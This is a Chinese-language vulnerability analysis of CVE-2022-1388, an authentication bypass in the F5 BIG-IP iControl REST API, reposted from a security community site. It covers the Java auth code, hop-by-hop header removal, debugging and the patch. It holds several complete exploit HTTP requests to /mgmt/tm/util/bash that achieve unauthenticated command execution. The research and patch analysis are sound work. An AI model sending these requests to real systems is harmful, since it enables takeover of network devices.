暂无简介
概述
官网5月5日漏洞通告:https://support.f5.com/csp/article/K23605346
漏洞影响面:
作为java初学者,尝试基于大佬们的文章稍微深入的分析了一下,因为能力不足,在分析过程中其实没有保留一个很严谨的思路和逻辑,反倒像自己一些疑问点的探析,可能有点乱,希望能给观者启发,同时求大佬们轻锤。
分析
根据我的上一篇文章对CVE-2021-22986的分析可知
由于数据流是apache获取后根据url的模式将数据包转发给8100的jetty,针对F5 BIG-IP iControl REST API的认证绕过要过两关,分别是apache的认证以及jetty的认证。
apache认证验证逻辑
在CVE-2021-22986影响版本中(我的是16.0.0),针对apache的认证绕过只要满足包头中存在X-F5-Auth-Token字段即可绕过,但是CVE-2021-22986修复版本(我使用的是16.1.2.1)中进行了修复,如果包头X-F5-Auth-Token参数为空则会直接返回401,如果不为空则依然可以转发至jetty。
jetty认证验证逻辑
另外,在CVE-2021-22986影响版本中,jetty认证校验中只要求取包头X-F5-Auth-Token的值结果为null,同时Authorization头中username有效即可(admin为默认有效的username),在CVE-2021-22986修复版本中,则首先会判断包头X-F5-Auth-Token的值结果是否为null,如果不是则使用包头X-F5-Auth-Token的值验证,如果为空则根据Authorization的值来进行判断。
根据CVE-2021-22986修复版本(我使用的是16.1.2.1)中setIdentityFromBasicAuth可知
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}
修复后的代码针对请求头的X-Forwarded-Host这个list中最后一个元素做了检查,如果是127.0.0.1,或者是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用Authoriaztion头中的口令密码重新验证。
hop-by-hop
据RFC 2616,HTTP/1.1 规范默认将以下标头视为逐跳:Keep-Alive
、Transfer-Encoding
、TE
、Connection
、Trailer
、Upgrade
和。当在请求中遇到这些标头时,兼容的代理应该处理或操作这些标头所指示的任何内容,而不是将它们转发到下一个跃点.除了这些默认值之外,请求还可以定义一组自定义的标头,通过将它们添加到connection中来逐跳处理,如下所示
Connection: close, X-Foo, X-Bar
这样子,不仅Connection不会呗转发到下一个跃点,而且其中定义的标头X-Foo、X-Bar也同样。参考以下示意图
组合实现漏洞绕过
一个有效的触发数据包是这样的
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
我们可以大胆猜测,在apache检查中,因为头部X-F5-Auth-Token存在值且不为空,所以成功绕过验证;
在转发给jetty处理时根据hop-by-hop会将connection头以及X-F5-Auth-Token去掉转发;
在jetty验证中,再次取X-F5-Auth-Token值为空,X-Forwarded-Host会将Host字段的值添加进来,检查结果为127.0.0.1,且Authoriaztion中username有效(admin),因而认证通过。
如果我们的猜测正确,那么发送以下数据包也应该成功(将Host ip设置为127.4.2.1,Authoriaztion的username设置为f5hubblelcdadmin)
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
测试确实成功:
并且如果在Host值为127.4.2.1的情况下将Authorization的username值设置为admin的话,则会失败,测试确实如所料
调试
为了验证猜想正确,进行调试分析
调试开启步骤参考上一篇文章,即编辑/var/service/restjavad/run
文件,加入
JVM_OPTIONS+=" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
同时,防火墙开启8777端口
[root@localhost:NO LICENSE:Standalone] / # tmsh
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos)# security firewall
root@(localhost)(cfg-sync Standalone)(NO LICENSE)(/Common)(tmos.security.firewall)# modify management-ip-rules rules add { allow-access-8777 { action accept destination { ports add { 8777 } } ip-protocol tcp place-before first } }
然后使用idea连接远程调试即可
断点直接下在RestServerServlet.class的service函数中即可,直接看apache传过来的request
先发送一个可以触发漏洞的包:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
此时,在断点处获取到的op的值为
[
id=4255273
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Tue May 24 12:16:12 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
可以看到,X-Forwarded-Host的值就是我们果然传进入的host的值,因为基本上确定,apache在处理过程中将host头参数添加到X-Forwarded-Host参数中并传递给jetty,通过字符串匹配的方法,我们查找并确定时/etc/httpd/modules/mod_proxy.so在处理这个头
可以看到,apache在处理过程中会调用mod_proxy.so,将Host的值添加到X-Forwarded-Host这个值当中,然后再传递给jetty,jetty又会根据X-Forwarded-Host的值来进行权限验证,整体流程基本清楚。
但是这里我们看到,程序是使用了apr_table_mergen这个方法来将Host的值添加到X-Forwarded-Host当中,而不是使用apr_table_set这个方法直接设置,所以我们试想,如果在发送给apache的包中直接就包含有效的X-Forwarded-Host值会如何呢?
测试发现失败的
在断点处获得op的值为:
[
id=4260158
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Tue May 24 12:40:23 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Local-Ip-From-Httpd'='172.16.113.247'
'X-Forwarded-Proto'='http'
'X-Forwarded-Server'='localhost.localdomain'
'X-F5-New-Authtok-Reqd'='false'
'X-Forwarded-Host'='127.0.0.1, 123.123.123.123'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
经过调试分析可以看到,jetty拿到的数据包中的X-Forwarded-Host参数融合了Host和原始发送给apache的X-Forwarded-Host参数的值,但是jetty在认证检查setIdentityFromBasicAuth中检查的是X-Forwarded-Host这个列表中最后一个元素的值(即Host头的值),所以只有host的值为127.0.0.1或者127.4.2.1才行
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
} else {
final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
if (xForwardedHostHeaderValue == null) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
String[] valueList = xForwardedHostHeaderValue.split(", ");
int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
} else {
boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true");
if (PasswordUtil.isPasswordReset() && !isPasswordExpired) {
AuthProviderLoginState loginState = new AuthProviderLoginState();
loginState.username = components.userName;
loginState.password = components.password;
loginState.address = request.getRemoteSender();
RestRequestCompletion authCompletion = new RestRequestCompletion() {
public void completed(RestOperation subRequest) {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
}
public void failed(Exception ex, RestOperation subRequest) {
RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()});
if (ex.getMessage().contains("Password expired")) {
request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION));
}
if (runnable != null) {
runnable.run();
}
}
};
try {
RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion);
RestRequestSender.sendPost(subRequest);
} catch (URISyntaxException var11) {
LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()});
}
return true;
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
} else {
request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
if (runnable != null) {
runnable.run();
}
return true;
}
}
}
}
static {
TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login";
}
}
但是,在jetty中,在RestServerServlet.class中setHostIpAddress中在获取到请求时会检查包头中是否有X-Forwarded-Host参数,如果有则跳过继续运行,如果没有的话则会赋值localhost。所以可以想到,在apache转发给jetty的请求中如果X-Forwarded-Host的值为空或者不存在,也可以绕过认证
如果直接发送给apache的包头中去掉Host参数,同时也没有X-Forwarded-Host参数的话,jetty获取到的X-Forwarded-Host值应该是空的,但是经过测试,Host参数不能缺少,否则报错
所以可以考虑通过hop-by-hop的方法,将X-Forwarded-Host添加在connection当中,这样子,在转发给jetty的X-Forwarded-Host参数应该也是空,尝试果然可以
测试果然如所料:
几种绕过模式总结
经过以上分析,发现绕过apache的思路其实比较单一,就是头中包含X-F5-Auth-Token,并且在connection中包含X-F5-Auth-Token
但是绕过jetty的方式不止一种,简单总结一下:
host的值为127.0.0.1、localhost等值,Authorization为admin的base64
POST /mgmt/tm/util/bash HTTP/1.1 Host: 127.0.0.1 Authorization: Basic YWRtaW46 X-F5-Auth-Token: a Connection: X-F5-Auth-Token Content-type: application/json Content-Length: 41 {"command":"run", "utilCmdArgs": "-c id"}
host的值为127.4.2.1,Authoriaztion为f5hubblelcdadmin的base64
POST /mgmt/tm/util/bash HTTP/1.1 Host: 127.4.2.1 Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo= X-F5-Auth-Token: a Connection: X-F5-Auth-Token Content-type: application/json Content-Length: 41 {"command":"run", "utilCmdArgs": "-c id"}
host值为默认,connection中包含X-Forwarded-Host的值,造成jetty在检查X-Forwarded-Host发现为空所以置localhost进而绕过
POST /mgmt/tm/util/bash HTTP/1.1 Host: 172.16.113.244 Authorization: Basic YWRtaW46 X-F5-Auth-Token: a connection: X-F5-Auth-Token, X-Forwarded-Host Content-type: application/json Content-Length: 41 {"command":"run", "utilCmdArgs": "-c id"}
修复
安装16.1.2.2修复版本,查看修复情况
mod_auth_pam修复情况
简单查看mod_auth_pam.so针对X-F5-Auth-Token处理的变化
老版本中(16.1.2.1)中,只检查X-F5-Auth-Token的值不为空即可绕过认证
但是在修复版本(16.1.2.2)中X-F5-Auth-Token不仅不能为空,而且要检查正确性,有效才通过认证
Apache配置文件修复情况
╰─$ diff ./16.1.2.1/httpd.conf ./16.1.2.2/httpd.conf
1006a1007,1015
> <If "%{HTTP:connection} =~ /close/i ">
> RequestHeader set connection close
> </If>
> <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
> RequestHeader set connection keep-alive
> </ElseIf>
> <Else>
> RequestHeader set connection close
> </Else>
可以看出配置中新增选项,如果头connection中只要有close字段,则直接将connection的值设置为close,如果头connection中只要有keep-alive字段,则直接将connection的值设置为keep-alive,去除了通过hop-by-hop除去X-F5-Auth-Token头的可能性
实际测试一下,发送以下数据包:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46YWRtaW4=
connection: close, X-Forwarded-Host
Content-type: application/json
Content-Length: 41
{"command":"run", "utilCmdArgs": "-c id"}
在jetty中下断点,发现X-Forwarded-Host依然存在,且取的是host的值,可判断,通过hop-by-hop除去X-F5-Auth-Token头的方法也不存在
[
id=1690145
referer=null
uri=http://localhost:8100/mgmt/tm/util/bash
method=POST
statusCode=200
contentType=application/json
contentLength=41
contentRange=null
deadline=Fri May 27 06:17:23 PDT 2022
body=null
forceSocket=false
isResponse=false
retriesRemaining=5
coordinationId=null
isConnectionCloseRequested=false
isConnectionKeepAlive=true
isRestErrorResponseRequired=true
AdditionalHeadersAsString=
Request: 'Tmui-Dubbuf'='mbDASW8cWiBbzv7Ey2zxzKtX'
'REMOTECONSOLE'='/bin/false'
'REMOTEROLE'='0'
'Session-Invalid'='true'
'X-Forwarded-Proto'='http'
'X-Forwarded-Host'='172.16.113.244'
'X-F5-New-Authtok-Reqd'='false'
'Local-Ip-From-Httpd'='172.16.113.245'
'X-Forwarded-Server'='localhost.localdomain'
Response:<empty>
ResponseHeadersTrace=
X-F5-Config-Api-Status=0]
参考
[1] 从滥用HTTP hop by hop请求头看CVE-2022-1388
[3] CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现
[4] BIG-IP(CVE-2022-1388)从修复方案分析出exp
[5] F5 BIG-IP 未授权 RCE(CVE-2022-1388)分析
- 本文作者: 1s1and
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11418
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!